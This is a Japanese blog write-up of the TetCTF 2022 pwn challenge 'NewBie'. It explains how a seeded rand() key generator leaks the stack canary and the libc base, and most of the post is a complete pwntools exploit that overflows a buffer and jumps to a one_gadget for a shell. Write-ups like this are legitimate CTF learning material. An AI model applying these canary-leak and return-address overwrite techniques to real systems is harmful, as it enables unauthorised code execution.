<TetCTF 2022> NewBie (Pwn)
はじめに
1 月 1 日の 9 時から 2 日間行われていた TetCTF 2022 を覗きました。
出題されていた Pwn 5 題のうち、NewBie が解けそうだったのでやってみましたが、途中で諦めてしまいました。
でも、昨日こちらの Writeup *1を参考にしながら解いたので、ちょっとだけ説明を載せておきます。
NewBie ( PWNABLE / 100 pt )
問題バイナリと libc が配布されました。
$ checksec chall [*] '/home/hasuke/tet/newbie/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.'
実行すると入力を受け付けてくれて、まずここで BOF を起こせますが、SSP と PIE が有効なので、canary や libc のベースアドレスを求める必要があります(今回はバイナリのベースアドレスを求めなくても解けます)。
$ ./chall SECRET KEY GENERATOR > a Incorrect Syntax > id 1 > create Your key: joahydV23D62xJxSmpr9INT1mbovjEJG > quit $
上のように、id を指定して create と入力すると、何やら key が返されます。
これは、id によって指定された、スタック上の特定の 2 バイトの値を seed 値として下のような仕組みで生成されたものです。
srand(value); for (i = 0; i < 0x20; i = i + 1) { random = rand(); key[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[random % 0x3e]; } printf("Your key: %s\n", key);
したがって、リークしたいアドレスに対応する id を指定して、生成された key から元の値を推測できます(必要な id を調べるのは簡単なので、説明は省略します)。
key の生成の再現には、ctypes というライブラリを使うのが簡単みたいです。
exploit は下のようになります(0x0000 と 0x0001 とに対応する key がなぜか被ってしまったため調整してあります。ミスを見つけたら教えてください。)。
#!/usr/bin/env python3 from pwn import * import ctypes bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = '18.191.117.63' PORT = 31337 binf = ELF(bin_file) libc = ELF('./libc.so.6') chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' keys = {} ### バイナリの動きを再現して、keyの辞書を作る ### def prepare(): loaded_lib = ctypes.cdll.LoadLibrary('./libc.so.6') for i in range(0x10000): loaded_lib.srand(i) key = '' for j in range(0x20): key += chars[loaded_lib.rand() % 0x3e] if i == 1: continue keys[key] = i def leak(io, offset): io.sendlineafter('>', 'id ' + str(offset)) io.sendlineafter('>', 'create') io.recvuntil('key: ') key = io.recv(32).decode() return keys[key] def attack(io, **kwargs): base_off = 73 canary_off = 49 onegads = [0x4f3d5, 0x4f432, 0x10a41c] ### libcのベースアドレスを計算 ### leaked_addr = 0 # __libc_start_main + 231 for i in range(4): leaked_addr += leak(io, base_off + i) << (16 * i) libc.address = leaked_addr - 231 - libc.sym.__libc_start_main info('libc_base : 0x{:08x}'.format(libc.address)) ### canaryをleak ### canary = 0 for i in range(4): canary += leak(io, canary_off + i) << (16 * i) info('canary : 0x{:08x}'.format(canary)) ### 仕上げ ### addr_onegad = libc.address + onegads[0] payload = b'a' * 88 payload += p64(canary) payload += p64(0xdeadbeef) payload += p64(addr_onegad) io.sendlineafter('>', payload) io.sendlineafter('>', 'quit') def main(): io = process(bin_file) #io = remote(HOST, PORT) prepare() attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
おわりに
問題における乱数の生成を再現しようとする際に、c のコードを書いてその出力結果を利用する方法しか知らず、実装が面倒くさくなって諦めてしまいました😢
libc をロードするという手段を知ることができてよかったです。